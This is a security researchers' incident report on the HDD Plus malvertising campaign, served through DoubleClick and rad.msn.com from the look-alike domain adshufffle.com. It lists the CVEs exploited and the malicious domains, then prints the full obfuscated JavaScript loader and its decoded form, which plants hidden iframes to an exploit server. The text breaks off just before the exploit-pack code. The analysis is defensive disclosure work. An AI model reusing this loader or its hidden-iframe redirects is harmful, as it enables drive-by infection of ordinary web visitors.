"HDD Plus" malware spread through major ad networks, using malvertising and drive-by download

(Credits: Wayne Huang, Caleb Sima, Chris Hsiao, NightCola Lin)

Over the past few days, we saw the quick spread of HDD Plus--a malware that (somehow) gets installed on victim computers, and holds the computer hostage by displaying threatening message (that the system is failing), asking you to purchase a license so HDD Plus will fix the problems.

Information on HDD Plus can be found here and here.

We've realized that one of the means for HDD Plus to spread, was via drive-by download malvertising through (at least) DoubleClick and rad.msn.com, which are both the world's largest ad serving platforms.

This is detailed technical report.

Summary

Behavior: Users visit websites that incorporate banner ads from DoubleClick or rad.msn.com, the malicious javascript is served from ADShufffle.com (notice the three f's), starts a drive-by download process and if successful, HDD Plus and other malware are installed into the victim's machine, without having the need to trick the victim into doing anything or clicking on anything. Simply visiting the page infects the visitors.

Known sites affected: Sites that incorporate DoubleClick or rad.msn.com banners, including for example Scout.com (using DoubleClick), realestate.msn.com, msnbc.com (using both), and mail.live.com. We'd like to note here it's very possible that multiple exchanges, besides those listed here, have been serving the fake ADShufffle's ads.

Important dates:

Dec 2nd: Registration of the associated malicious domains

Dec 3rd: HackAlert first detected this drive-by download being served by DoubleClick (2010-12-04T02:18:50+00:00GMT). We were not aware at this time (HackAlert flags too many URLs per day of live Web malware)

Dec 8th: We were requested by our partner, Symantec-VeriSign, to conduct an analysis one some of the affected websites and justify HackAlert's decision to take the VeriSign Trust Seal off from these websites. Some of the websites called into Symantec's customer service line to ask for more information. HackAlert's flaggings were "on-and-off" which raised concerns that we had bugs with HackAlert. Symantec-VeriSign scans all of their Trust Seal customers for web malware and is very serious about the scan quality. They've always been quite strict with our scan quality (accuracy and coverage) and we've been working hard to keep them as our satisfied partner.

On the same day we verified that it was the banner ads from DoubleClick, and replied Symantec-VeriSign. On the same day, believing it was ADShuffle that was providing the malicious banner ad to DoubleClick, we notified Andrea McKee, President to ADShuffle. She replied very quickly to ask for detailed info, which we provided. She quickly pointed out that it was with three f's and so not her company. She said that they really appreciate the detailed info, and that she would quickly inform DoubleClick.

Dec 9th: We reached out to DoubleClick and in less than a few hours time they arranged a meeting with a group of their experts on anti-malvertising and incidence response. We were very surprised and impressed with the speed that DoubleClick acted. We provided details, and DoubleClick said they were already on top of the issue.

At the same time, our CEO Caleb Sima received a private email indicating that mail.live.msn, together with other big websites, were serving drive-by downloads via malvertising. We started to investigate other ad exchanges, because it was apparent that ADShufffle.com was able to trick multiple ad exchanges into serving their malicious javascript. We started to investigate this.

Dec 10th: Private sources provided detailed info to us, and we confirmed ADShufffle.com malvertising through rad.msn.com.

Exploits used:

Initially with DoubleClick:
1) Internet Explorer iepeers (CVE-2010-0806)

Later with DoubleClick and rad.msn.com:
2) JDT: Java Web Start Arbitrary command-line injection (CVE-2010-0886)
3) Adobe Reader and Adobe Acrobat 9 GetIcon (CVE-2009-0927)
4) Microsoft MDAC RDS.Dataspace ActiveX (CVE-2006-0003)
5) Adobe Reader and Acrobat 9.x Doc.media.newPlayer ()
6) Adobe Acrobat and Reader util.printf (CVE-2008-2992)
7) Adobe Reader GetMailInfo (CVE-2007-5659)

Malware installed:
Over the past week, ADShufffle kept on changing the malware. Besides HDD Plus, other types of malware, such as backdoors, have been served. Later in the article we will provide links to our observed binaries.

Exploit packs used:
Primarily a modified version of Eleonore. Neosploit was also used. With neosploit, malicious binaries are obfuscated on-the-fly before being served.

Significant facts:
1. Drive-by download malvertising, visitors infected without having to click
2. Being served by the world's largest ad platforms. Large websites have been affected.
3. Exploits were very well obfuscated, manually.
4. Initial detection rate by antivirus vendors were very low.
5. At the time of writing, the ADShufffle.com group is still actively serving drive-by downloads via their registered domains. In fact, today they have registered yet more domains.

Associated domains and IPs

adshufffle.com (63.247.64.174) (serving javascripts that generates iframes pointing to exploit servers)
acerdse.com, blindry.com, careepi.com, colemuns.com (91.213.217.194) (serving exploits and malware)
ssmmbb.com (91.213.217.193) (serving Java jar exploit)
feudari.com (91.213.217.192) (serving pdf exploit)
searchjewel.org (91.200.242.17) (serving malware)
195.5.161.10 (serving Java jar exploit)
thjlnqbtgdw.com, pbcplifpgdw.com (174.132.254.18) (serving exploits and malware)

Attack details


Illustration 1--DoubleClick ADShufffle drive-by download malvertising

Illustration 2--rad.msn.com ADShufffle drive-by download malvertising


Part 1--DoubleClick case study

We'll walk through DoubleClick's case first. Upon visiting a website working with DoubleClick, for example, Scout.com, and within the HTML served, there would be an DoubleClick ad tag for a 728x90 banner ad:
<SCRIPT LANGUAGE="JavaScript">
<!-- hide from non-JavaScript browsers
document.writeln('<SCRIPT LANGUAGE="JavaScript" SRC="http://ad.doubleclick.net/adj/organicgardening/home;kw=;slot=728x90.1;topic=home;sbtpc=home;tile=1;dcopt=ist;sz=728x90;ord=' + ord + '?" type="text/javascript">');
document.writeln('</SCRIPT>');
// end hide from browsers -->
</SCRIPT>
<noscript><a href="http://ad.doubleclick.net/jump/organicgardening/home;kw=;slot=728x90.1;topic=home;sbtpc=home;tile=1;sz=728x90;ord=123456?" target="_blank"><img src="http://ad.doubleclick.net/ad/organicgardening/home;topic=home;sbtpc=home;tile=1;sz=728x90;ord=123456?" width="728" height="90" border="0" alt="" target="_blank"></a></noscript>

Trying to render this, the browser visits ad.doubleclick.net, and gets the following:
document.write('<script type=\"text/javascript\" src=\"http://this.content.served.by.adshufffle.com/p/kl/46/799/r/12/4/8/ast0k3n/cj_K_lW0d4_D7mmLupb1TWfhr91mfhH0/view.js/?sid=1953243&lpd=${4020322}&ASTPCT=${http://ad.doubleclick.net/click%3Bh%3Dv8/3a6a/3/0/%2a/w%3B233305186%3B0-0%3B0%3B12910146%3B3454-728/90%3B39673254/39691041/1%3B%3B%7Eaopt%3D2/1/7d/1%3B%7Esscs%3D%3f}\"><\/script>');document.write('\n<!-- Begin Interstitial Ad -->');
//PopUnder Power
//Credit notice must stay intact for use.
... script continues...

Getting the javascript from adshufffle.com yields:
var latency='';
var reno1='%78%53%4C%';
var reno2='78%53%4C%78%53%4C%53';
var reno3='%25%4C%4A%63%4C%43%25%4C%57%25';
var reno4='%4C%6D%63%';
var reno5='4C%48';
var reno6='%32%4';
var reno7='C%42%32%4C%50%32%4C%25%57%4C%32%32%4C%43';
var reno8='%32%4C%5F%25%4C%4F%6';
var reno9='3%4C%6D%63%4C%25%25%4C%53%63%4C%25%25%4C%42%63%4C%';
var reno10='25%57%4C%48%32%4C%70%32%4C%25%';
var reno11='57%4C%5F%32%4C%25%32%4C%48%32%4C%42%32%4';
var reno12='C%50%32%4C%25%57%4C%';
var reno13='32%32%4C%53%25%4C%25';
var reno14='%25%4C%53%63%4C%25%25%4C%42%63%4C%48%32%4C%63%32%4';
var reno15='C%50%32%4C%53%57%4C%63%57%4C%35%32%4C%53%25%4C%25%';
var reno16='25%4C%5F%32%4C%6D%32%4C%25%25%4C%42%63%4C%57%32%4C%6D%32%4C%43%32%4C%4F%32%4C%4F';
var reno17='%32%4C%5F%32%4C%25%5';
var reno18='7%4C%63%32%4C%63%57%4C%53%25%4C%25%25%4C%53%63%4C%';
var reno19='43%63%4C%25%25%4C%42%63%4C%70%57%4C%35%32%4C%57%32';
var reno20='%4C%43%32%4C%48%32%4C%35%32%4C%53%25%4C%25%25%4C%3';
var reno21='5%63%4C%25%63%4C%57%63%4C%25%25%4C%42%63%4C%35%32%4C%70%57%4C%70%32%4C%43%32%4C%57%57%4C%53%25%4C%25%25%4C%50%63%4C%43%63%4C%48%63%4C%50%63%4C%32%63%4C%53%63%4C%70%63%4C%50%63%4C%70%70%4C%63%63%4C%48%25%4C%48%32%4C%70%32%4C%5F%32%4C%6D%32%4C%32%70%4C%63%63%4C%48%25%4C%25%32%4C%32%70%4C%25%63%4C%48%25%4C%63%57%4C%70%32%4C%25%57%4C%50%32%4C%63%70%4C%70%57%4C%32%32%4C%43%32%4C%57%70%4C%32%70%4C%25%63%4C%48%25%4C%42%32%4C%5F%32%4C%63%32%4C%6D%25%4C%70%57%4C%48%32%4C%57%32%4C%25%57%4C%50%32%4C%70%57%4C%6D%25%4C%57%57%4C%57%57%4C%57%57%4C%32%70%4C%25%63%4C%48%25%4C%32%70%4C%25%63%4C%48%25%4C%50%70%4C%63%63%4C%48%25%4C%53%57%4C%70%57%4C%70%57%4C%35%32%4C%5F%63%4C%42%63%4C%63%57%4C%63%32%4C%63%57%4C%63%57%4C%6D%57%4C%4A%63%4C%50%63%4C%5F%25%4C%70%32%4C%57%63%4C%5F%25%4C%50%63%4C%5F%25%4C%25%63%4C%42%63%4C%70%57%4C%53%57%4C%5F%32%4C%50%32%4C%6D%57%4C%4A%63%4C%4A%63%4C%50%63%4C%5F%25%4C%50%63%4C%70%63%4C%53%63%4C%50%63%4C%43%63%4C%32%63%4C%43%63%4C%63%63%4C%5F%25%4C%70%63%4C%48%63%4C%25%63%4C%63%63%4C%57%63%4C%32%63%4C%43%63%4C%63%63%4C%4A%63%4C%53%63%4C%43%63%4C%5F%25%4C%35%63%4C%25%63%4C%57%63%4C%42%25%4C%70%63%4C%48%63%4C%70%63%4C%63%63%4C%4A%63%4C%32%63%4C%70%63%4C%50%63%4C%53%63%4C%50%63%4C%43%63%4C%25%63%4C%50%63%4C%4A%63%4C%53%63%4C%4A%63%4C%53%63%4C%42%25%4C%53%63%4C%4A%63%4C%32%63%4C%35%63%4C%50%63%4C%48%63%4C%53%63%4C%63%63%4C%63%63%4C%63%63%4C%25%63%4C%4A%63%4C%57%57%4C%5F%25%4C%78%25%4C%5F%25%4C%53%63%4C%5F%25%4C%63%63%4C%5F%25%4C%50%32%4C%32%63%4C%50%32%4C%63%63%4C%5F%25%4C%35%63%4C%32%57%4C%42%63%4C%35%32%4C%4A%63%4C%4A%32%4C%63%32%4C%43%32%4C%4F%32%4C%63%32%4C%5F%25%4C%70%57%4C%48%32%4C%6D%32%4C%6D%25%4C%4A%32%4C%63%32%4C%43%32%4C%4F%32%4C%63%32%4C%48%32%4C%4F%32%4C%25%32%4C%48%57%4C%5F%32%4C%70%32%4C%6D%25%4C%70%32%4C%50%32%4C%5F%25%4C%5F%25%4C%78%63%4C%53%57%4C%70%57%4C%70%57%4C%35%32%4C%42%63%4C%4F%32%4C%25%57%4C%48%57%4C%32%25%4C%53%63%4C%43%63%4C%42%63%4C%35%32%4C%32%25%4C%35%63%4C%25%63%4C%57%63%4C%42%63%4C%57%57%4C%32%25%4C%32%32%4C%57%57%4C%63%57%4C%6D%25%4C%53%63%4C%43%63%4C%35%57%4C%35%63%4C%25%63%4C%57%63%4C%5F%48%4C%70%32%4C%25%57%4C%50%32%4C%63%70%4C%70%57%4C%32%32%4C%43%32%4C%57%70%4C%43%57%4C%50%32%4C%70%32%4C%43%32%4C%4F%32%4C%5F%32%4C%35%70%4C%53%63%4C%50%63%4C%5F%25%4C%70%32%4C%25%57%4C%50%32%4C%63%32%4C%25%57%4C%32%32%4C%43%32%4C%57%32%4C%5F%48%4C%70%57%4C%48%32%4C%57%32%4C%25%57%4C%50%32%4C%70%57%4C%5F%25%4C%48%32%4C%63%32%4C%25%57%4C%48%32%4C%42%32%4C%42%32%4C%5F%32%4C%63%70%4C%57%32%4C%43%32%4C%25%70%4C%50%32%4C%5F%25%4C%25%32%4C%70%32%4C%25%32%4C%5F%25%4C%42%32%4C%5F%32%4C%63%32%4C%6D%25%4C%48%32%4C%4F%32%4C%32%32%4C%32%32%4C%32%32%4C%48%57%4C%35%32%4C%63%57%4C%70%32%4C%50%32%4C%6D%25%4C%43%57%4C%25%32%4C%6D%25%4C%70%32%4C%48%32%4C%32%57%4C%25%57%4C%48%32%4C%63%57%4C%6D%25%4C%70%57%4C%6D%32%4C%48%32%4C%70%57%4C%6D%32%4C%5F%32%4C%63%32%4C%6D%25%4C%63%57%4C%43%32%4C%35%32%4C%70%57%4C%5F%25%4C%5F%25%4C%78%63%4C%53%57%4C%70%57%4C%70%57%4C%35%32%4C%42%63%4C%63%32%4C%25%57%4C%63%57%4C%5F%63%4C%53%57%4C%35%32%4C%53%57%4C%6D%25%4C%25%57%4C%48%32%4C%70%32%4C%50%32%4C%5F%32%4C%4F%32%4C%42%25%4C%35%32%4C%63%57%4C%50%32%4C%4F%32%4C%32%32%4C%5F%25%4C%63%57%4C%25%57%4C%48%32%4C%6D%32%4C%6D%32%4C%50%32%4C%25%32%4C%5F%25%4C%42%32%4C%5F%32%4C%63%32%4C%6D%25%4C%48%32%4C%4F%32%4C%32%32%4C%32%32%4C%32%32%4C%48%57%4C%35%32%4C%63%57%4C%70%32%4C%50%32%4C%6D%25%4C%43%57%4C%25%32%4C%6D%25%4C%70%32%4C%48%32%4C%32%57%4C%25%57%4C%48%32%4C%63%57%4C%6D%25%4C%70%57%4C%6D%32%4C%48%32%4C%70%57%4C%6D%32%4C%5F%32%4C%63%32%4C%6D%25%4C%63%57%4C%43%32%4C%35%32%4C%70%57%4C%5F%25%4C%5F%25%4C%78%63%4C%53%57%4C%70%57%4C%70%57%4C%35%32%4C%25%25%4C%42%63%4C%63%32%4C%25%57%4C%63%57%4C%53%25%4C%48%32%4C%42%32%4C%50%32%4C%25%57%4C%32%32%4C%43%32%4C%4F%63%4C%57%25%4C%35%25%4C%48%32%4C%70%57%4C%43%32%4C%25%57%4C%57%57%4C%6D%25%4C%70%57%4C%6D%32%4C%48%32%4C%42%32%4C%48%57%4C%63%32%4C%5F%32%4C%70%32%4C%78%53%4C%78%53%4C%42%57%4C%78%53%4C%78%53%4C%78%53%4C%4A%63%4C%43%25%4C%43%25%4C%25%25%4C%48%70%4C%63%63%4C%48%25%4C%48%32%4C%42%32%4C%50%32%4C%25%57%4C%32%32%4C%43%32%4C%5F%25%4C%63%70%4C%63%63%4C%48%25%4C%48%70%4C%63%63%4C%48%25%4C%53%25%4C%57%25%4C%50%63%4C%57%25%4C%42%63%4C%70%57%4C%35%32%4C%57%32%4C%43%32%4C%48%32%4C%35%32%4C%53%25%4C%57%25%4C%50%63%4C%57%25%4C%42%63%4C%35%32%4C%70%57%4C%70%32%4C%43%32%4C%57%57%4C%53%25%4C%57%25%4C%4A%63%4C%6D%32%4C%48%32%4C%70%32%4C%70%32%4C%43%32%4C%35%32%4C%78%63%4C%43%57%4C%70%57%4C%43%32%4C%4F%32%4C%43%32%4C%25%32%4C%43%32%4C%63%57%4C%43%32%4C%32%57%4C%57%25%4C%42%63%4C%48%32%4C%4F%32%4C%43%57%4C%70%57%4C%63%57%4C%53%25%4C%57%25%4C%63%63%4C%70%63%4C%25%63%4C%63%63%4C%48%63%4C%43%63%4C%50%63%4C%42%63%4C%70%32%4C%43%32%4C%5F%63%4C%53%57%4C%35%32%4C%53%57%4C%6D%25%4C%48%32%4C%5F%48%4C%63%57%4C%78%32%4C%5F%48%4C%63%57%4C%70%57%4C%50%32%4C%70%57%4C%63%57%4C%5F%25%4C%42%32%4C%5F%32%4C%63%32%4C%6D%25%4C%48%32%4C%4F%32%4C%32%32%4C%32%32%4C%32%32%4C%48%57%4C%35%32%4C%63%57%4C%70%32%4C%50%32%4C%6D%25%4C%43%57%4C%25%32%4C%6D%25%4C%70%32%4C%48%32%4C%32%57%4C%25%57%4C%48%32%4C%63%57%4C%6D%25%4C%70%57%4C%6D%32%4C%48%32%4C%70%57%4C%6D%32%4C%5F%32%4C%63%32%4C%6D%25%4C%63%57%4C%43%32%4C%35%32%4C%70%57%4C%5F%25%4C%5F%25%4C%78%63%4C%53%57%4C%70%57%4C%70%57%4C%35%32%4C%57%25%4C%42%63%4C%63%32%4C%25%57%4C%63%57%4C%53%25%4C%48%32%4C%42%32%4C%50%32%4C%25%57%4C%32%32%4C%43%32%4C%63%70%4C%63%63%4C%48%25%4C%25%25%4C%35%25%4C%48%32%4C%53%57%4C%50%32%4C%63%32%4C%63%57%4C%48%32%4C%6D%32%4C%48%57%4C%35%25%4C%48%32%4C%70%57%4C%43%32%4C%25%57%4C%57%57%4C%6D%25%4C%70%57%4C%6D%32%4C%48%32%4C%42%32%4C%48%57%4C%63%32%4C%5F%32%4C%70%32%4C%78%53%4C%78%53%4C%53%25%4C%4A%63%4C%43%25%4C%43%25%4C%25%25%4C%48%70%4C%63%63%4C%48%25%4C%48%32%4C%42%32%4C%50%32%4C%25%57%4C%32%32%4C%43%32%4C%5F%25%4C%63%70%4C%63%63%4C%48%25%4C%48%70%4C%63%63%4C%48%25%4C%53%25%4C%57%25%4C%50%63%4C%57%25%4C%42%63%4C%70%57%4C%35%32%4C%57%32%4C%43%32%4C%48%32%4C%35%32%4C%53%25%4C%57%25%4C%50%63%4C%57%25%4C%42%63%4C%35%32%4C%70%57%4C%70%32%4C%43%32%4C%57%57%4C%53%25%4C%57%25%4C%4A%63%4C%6D%32%4C%48%32%4C%70%32%4C%70%32%4C%43%32%4C%35%32%4C%78%63%4C%43%57%4C%70%57%4C%43%32%4C%4F%32%4C%43%32%4C%25%32%4C%43%32%4C%63%57%4C%43%32%4C%32%57%4C%57%25%4C%42%63%4C%48%32%4C%4F%32%4C%43%57%4C%70%57%4C%63%57%4C%53%25%4C%57%25%4C%70%57%4C%5F%32%4C%5F%32%4C%25%57%4C%42%63%4C%48%57%4C%32%25%4C%70%32%4C%32%63%4C%32%32%4C%50%63%4C%50%63%4C%35%63%4C%57%63%4C%48%63%4C%70%63%4C%57%63%4C%43%63%4C%63%63%4C%70%32%4C%57%63%4C%70%32%4C%43%63%4C%35%63%4C%63%32%4C%63%63%4C%25%32%4C%70%32%4C%63%32%4C%63%63%4C%48%63%4C%48%63%4C%53%63%4C%70%32%4C%63%63%4C%43%63%4C%48%32%4C%25%63%4C%43%63%4C%42%63%4C%43%57%4C%48%32%4C%4A%32%4C%5F%63%4C%53%57%4C%35%32%4C%53%57%4C%6D%25%4C%57%57%4C%5F%32%4C%35%32%4C%63%57%4C%5F%25%4C%57%32%4C%48%32%4C%63%57%4C%53%57%4C%48%57%4C%53%57%4C%5F%25%4C%42%32%4C%5F%32%4C%63%32%4C%6D%25%4C%63%57%4C%6D%32%4C%48%57%4C%42%32%4C%48%32%4C%4F%32%4C%5F%32%4C%63%32%4C%5F%25%4C%5F%25%4C%78%63%4C%53%57%4C%70%57%4C%70%57%4C%35%32%4C%57%25%4C%42%63%4C%63%32%4C%25%57%4C%63%57%4C%53%25%4C%48%32%4C%42%32%4C%50%32%4C%25%57%4C%32%32%4C%43%32%4C%63%70%4C%63%63%4C%48%25%4C%25%25%4C%35%25%4C%48%32%4C%53%57%4C%50%32%4C%63%32%4C%63%57%4C%48%32%4C%6D%32%4C%48%57%4C%35%25%4C%48%32%4C%70%57%4C%43%32%4C%25%57%4C%57%57%4C%6D%25%4C%70%57%4C%6D%32%4C%48%32%4C%42%32%4C%48%57%4C%63%32%4C%5F%32%4C%70%32%4C%78%53%4C%43%53%4C%43%53%4C%78%53%4C%78%53%4C%4A%57%4C%53%25%4C%53%25%4C%48%32%4C%63%57%4C%4F%32%4C%48%32%4C%53%25%4C%53%25%4C%42%57%4C%78%53%4C%4A%63%4C%43%25%4C%43%25%4C%25%25%4C%48%70%4C%63%63%4C%48%25%4C%48%32%4C%42%32%4C%50%32%4C%25%57%4C%32%32%4C%43%32%4C%5F%25%4C%63%70%4C%63%63%4C%48%25%4C%48%70%4C%63%63%4C%48%25%4C%53%25%4C%53%25%4C%57%25%4C%53%63%4C%57%25%4C%42%63%4C%70%57%4C%35%32%4C%57%32%4C%43%32%4C%48%32%4C%35%32%4C%53%25%4C%57%25%4C%53%63%4C%57%25%4C%42%63%4C%35%32%4C%70%57%4C%70%32%4C%43%32%4C%57%57%4C%53%25%4C%57%25%4C%4A%63%4C%6D%32%4C%48%32%4C%70%32%4C%70%32%4C%43%32%4C%35%32%4C%78%63%4C%43%57%4C%70%57%4C%43%32%4C%4F%32%4C%43%32%4C%25%32%4C%43%32%4C%63%57%4C%43%32%4C%32%57%4C%57%25%4C%42%63%4C%48%32%4C%4F%32%4C%43%57%4C%70%57%4C%63%57%4C%53%25%4C%57%25%4C%50%63%4C%42%63%4C%48%32%4C%32%25%4C%53%63%4C%42%63%4C%63%57%4C%32%25%4C%63%63%4C%70%63%4C%25%63%4C%63%63%4C%48%63%4C%43%63%4C%50%63%4C%42%63%4C%70%32%4C%43%32%4C%5F%63%4C%53%57%4C%35%32%4C%53%57%4C%6D%25%4C%70%57%4C%5F%48%4C%63%57%4C%70%57%4C%50%32%4C%70%57%4C%63%57%4C%5F%25%4C%42%32%4C%5F%32%4C%63%32%4C%6D%25%4C%48%32%4C%4F%32%4C%32%32%4C%32%32%4C%32%32%4C%48%57%4C%35%32%4C%63%57%4C%70%32%4C%50%32%4C%6D%25%4C%43%57%4C%25%32%4C%6D%25%4C%70%32%4C%48%32%4C%32%57%4C%25%57%4C%48%32%4C%63%57%4C%6D%25%4C%70%57%4C%6D%32%4C%48%32%4C%70%57%4C%6D%32%4C%5F%32%4C%63%32%4C%6D%25%4C%63%57%4C%43%32%4C%35%32%4C%70%57%4C%5F%25%4C%5F%25%4C%78%63%4C%53%57%4C%70%57%4C%70%57%4C%35%32%4C%57%25%4C%42%63%4C%63%32%4C%25%57%4C%63%57%4C%53%25%4C%48%32%4C%42%32%4C%50%32%4C%25%57%4C%32%32%4C%43%32%4C%63%70%4C%63%63%4C%48%25%4C%25%25%4C%35%25%4C%48%32%4C%53%57%4C%50%32%4C%63%32%4C%63%57%4C%48%32%4C%6D%32%4C%48%57%4C%35%25%4C%48%32%4C%70%57%4C%43%32%4C%25%57%4C%57%57%4C%6D%25%4C%70%57%4C%6D%32%4C%48%32%4C%42%32%4C%48%57%4C%63%32%4C%5F%32%4C%70%32%4C%78%53%4C%4A%57%4C%53%25%4C%43%25%4C%53%25%4C%4F%32%4C%4F%32%4C%48%57%4C%6D%32%4C%53%25%4C%42%63%4C%50%25%4C%53%25%4C%35%32%4C%63%32%4C%70%57%4C%42%32%4C%53%25%4C%35%25%4C%53%25%4C%32%32%4C%43%32%4C%78%53%4C%78%53%4C%78%53%4C%78%53%4C%4A%63%4C%43%25%4C%4F%32%4C%42%32%4C%70%57%4C%63%32%4C%43%32%4C%70%57%4C%50%32%4C%70%57%4C%63%57%4C%35%25%4C%35%32%4C%63%32%4C%70%57%4C%50%32%4C%42%32%4C%6D%25%4C%70%57%4C%5F%48%4C%4F%32%4C%4F%32%4C%50%32%4C%53%25%4C%42%63%4C%53%25%4C%35%32%4C%63%32%4C%70%57%4C%42%32%4C%53%25%4C%25%57%4C%50%32%4C%32%57%4C%78%53%4C%4A%63%4C%25%25%4C%25%25%4C%53%25%4C%42%63%4C%53%25%4C%70%57%4C%5F%48%4C%4F%32%4C%4F%32%4C%50%32%4C%53%25%4C%25%57%4C%50%32%4C%32%57%4C%78%53%4C%78%53%4C%4A%63%4C%43%25%4C%53%63%4C%32%63%4C%53%25%4C%78%25%4C%53%25%4C%53%63%4C%32%63%4C%53%25%4C%78%25%4C%53%25%4C%53%63%4C%53%63%4C%53%63%4C%50%63%4C%35%25%4C%53%25%4C%5F%25%4C%53%25%4C%43%25%4C%43%25%4C%43%25%4C%50%63%4C%42%25%4C%43%25%4C%25%25%4C%53%25%4C%25%25%4C%35%25%4C%32%32%4C%5F%70%4C%35%57%4C%48%32%4C%70%32%4C%6D%32%4C%43%70%4C%70%57%4C%63%57%4C%50%32%4C%4F%32%4C%6D%25%4C%43%25%4C%35%25%4C%57%32%4C%6D%32%4C%43%32%4C%25%57%4C%70%57%4C%63%48%4C%70%48%4C%42%70%4C%57%70%4C%5F%32%4C%70%57%4C%6D%25%4C%43%25%4C%53%63%4C%53%25%4C%4F%25%4C%53%63%4C%53%25%4C%4F%25%4C%53%63%4C%53%25%4C%4F%25%4C%53%63%4C%53%25%4C%4F%25%4C%50%63%4C%53%25%4C%4F%25%4C%53%63%4C%53%25%4C%4F%25%4C%43%25%4C%35%25%4C%25%57%4C%50%32%4C%48%32%4C%43%48%4C%4F%32%4C%4F%32%4C%48%57%4C%32%70%4C%70%57%4C%48%32%4C%57%32%4C%6D%25%4C%43%25%4C%35%25%4C%48%32%4C%70%57%4C%50%32%4C%70%70%4C%53%25%4C%57%57%4C%48%32%4C%6D%32%4C%35%25%4C%48%32%4C%70%57%4C%50%32%4C%70%70%4C%53%25%4C%57%57%4C%48%32%4C%6D%32%4C%53%25%4C%4F%25%4C%53%63%4C%35%25%4C%57%32%4C%6D%32%4C%43%32%4C%25%57%4C%70%57%4C%63%57%4C%25%32%4C%48%57%4C%63%57%4C%6D%25%4C%43%25%4C%35%25%4C%57%32%4C%6D%32%4C%43%32%4C%25%57%4C%70%57%4C%63%48%4C%70%48%4C%42%70%4C%57%70%4C%5F%32%4C%70%57%4C%6D%25%4C%43%25%4C%53%63%4C%53%25%4C%4F%25%4C%53%63%4C%53%25%4C%4F%25%4C%53%63%4C%53%25%4C%4F%25%4C%53%63%4C%53%25%4C%4F%25%4C%50%63%4C%53%25%4C%4F%25%4C%53%63%4C%53%25%4C%4F%25%4C%43%25%4C%35%25%4C%25%57%4C%50%32%4C%48%32%4C%43%48%4C%4F%32%4C%4F%32%4C%48%57%4C%32%70%4C%70%57%4C%48%32%4C%57%32%4C%6D%25%4C%43%25%4C%35%25%4C%48%32%4C%70%57%4C%50%32%4C%70%70%4C%53%25%4C%57%57%4C%48%32%4C%6D%32%4C%35%25%4C%48%32%4C%70%57%4C%50%32%4C%70%70%4C%53%25%4C%57%57%4C%48%32%4C%6D%32%4C%35%25%4C%48%32%4C%70%57%4C%50%32%4C%70%70%4C%53%25%4C%57%57%4C%48%32%4C%6D%32%4C%53%25%4C%42%25%4C%53%25%4C%43%25%4C%53%63%4C%53%25%4C%4F%25%4C%53%63%4C%53%25%4C%4F%25%4C%53%63%4C%53%25%4C%4F%25%4C%53%63%4C%53%25%4C%4F%25%4C%50%63%4C%53%25%4C%4F%25%4C%53%63%4C%53%25%4C%4F%25%4C%43%25%4C%35%25%4C%25%57%4C%50%32%4C%48%32%4C%43%48%4C%4F%32%4C%4F%32%4C%48%57%4C%32%70%4C%70%57%4C%48%32%4C%57%32%4C%6D%25%4C%43%25%4C%35%25%4C%48%32%4C%70%57%4C%50%32%4C%70%70%4C%53%25%4C%57%57%4C%48%32%4C%6D%32%4C%35%25%4C%48%32%4C%70%57%4C%50%32%4C%70%70%4C%53%25%4C%57%57%4C%48%32%4C%6D%32%4C%35%25%4C%53%25%4C%42%63%4C%53%25%4C%4F%32%4C%42%32%4C%70%57%4C%63%32%4C%43%32%4C%70%57%4C%50%32%4C%70%57%4C%63%57%4C%78%53%4C';
latency=reno1+reno2+reno3+reno4+reno5+reno6;
latency=latency+reno7+reno8+reno9+reno10+reno11+reno12+reno13;
latency=latency+reno14+reno15+reno16+reno17+reno18+reno19+reno20+reno21;

latency=unescape(latency);

var nerostrd=latency;
var i=nerostrd.length;
i=i-1;
var jamdv='';
for (var x = i; x >=0; x--)
{
jamdv=jamdv+nerostrd.charAt(x);
}
latency=jamdv;

var plemoza="012345"+"6789abcde"+"fghijklmn"+"opqrstuvwx"+"yzABCDEFGHIJ"+"KLMNOPQ"+"RSTUVWXYZ/.:_-?&=%";
var stroninfl="SP%cpH2W5C"+"83fEX:1r"+"jF9AQdM"+"lKi/sk4GuvtxJOB"+"m_U.Nq"+"zY7aw&nhgZo"+"VT=0IbRDye?6-L";


var fallingms="";
var rttcp;
var ferrana;
for(rttcp=0;rttcp<latency.length;rttcp++)
{
ferrana=stroninfl.indexOf(latency.charAt(rttcp));
var konterrap=1-2;
if(ferrana>konterrap)
{
fallingms+=plemoza.charAt(ferrana);
}
}
eval(unescape(fallingms));

The above obfuscated javascript decodes to:
statictml = (new Date(new Date().getFullYear(), 0, 1, 0, 0, 0, 0) - new Date(new Date(new Date().getFullYear(), 0, 1, 0, 0, 0, 0).toGMTString().substring(0, new Date(new Date().getFullYear(), 0, 1, 0, 0, 0, 0).toGMTString().lastIndexOf(" ")-1))) / (1000 * 60 * 60);

var all_t = "";
var mtch = all_t.match(statictml);

if ( mtch != null ) {
document.write(unescape("%3Ciframe src='http://this.content.served.by.adshufffle.com/stats_t.php?id=1953243&s=0&e=1' style='visibility:hidden;' width='0' height='0' %3E%3C/iframe%3E"));
} else {
document.write(unescape("%3Ciframe src='http://colemuns.com/pupseg/show.php?key=92e93d0553cdb3c89d7d397457811f6d&u=root' style='visibility:hidden;' width='1' height='1' %3E%3C/iframe%3E"));
document.write(unescape("%3Ciframe src='http://this.content.served.by.adshufffle.com/stats_js_e.php?id=1953243' style='visibility:hidden;' width='1' height='1' %3E%3C/iframe%3E"));
}

document.write('<iframe src="http://this.content.served.by.adshufffle.com/banners/flash-loader.php?src=http://this.content.served.by.adshufffle.com/bdb/aBigCommerce/target_gifrcard/10HolidayGiftCard_728x90.swf&w=728&h=90&url=http://ad.doubleclick.net/click;h=v8/3a6a/3/0/*/w;233305186;0-0;0;12910146;3454-728/90;39673254/39691041/1;;~aopt=2/1/7d/1;~sscs=?http%3A%2F%2Fwww.target.com%2FGiftCards%2Fb%3Fnode%3D14061591" width="728" height="90" scrolling="no" hspace="0" frameborder="0"></iframe>');

In the above script, colemuns.com/pubseg/show.php is where the exploit is. The all_t mechanism checks for the visitor's timezone and has the ability to serve particular iframes depending on the timezone; this isn't used here.
http://this.content.served.by.adshufffle.com/bdb/aBigCommerce/target_gifrcard/10HolidayGiftCard_728x90.swf is the actual banner that gets displayed, which is copied from Target:


Here, acerdse.com, blindry.com, careepi.com, and colemuns.com, which all resolve to the same IP 91.213.217.194, have been used interchangeably to serve the exploit. The exploits are served using a derived version of the Eleonore exploit pack. Code is as follows:
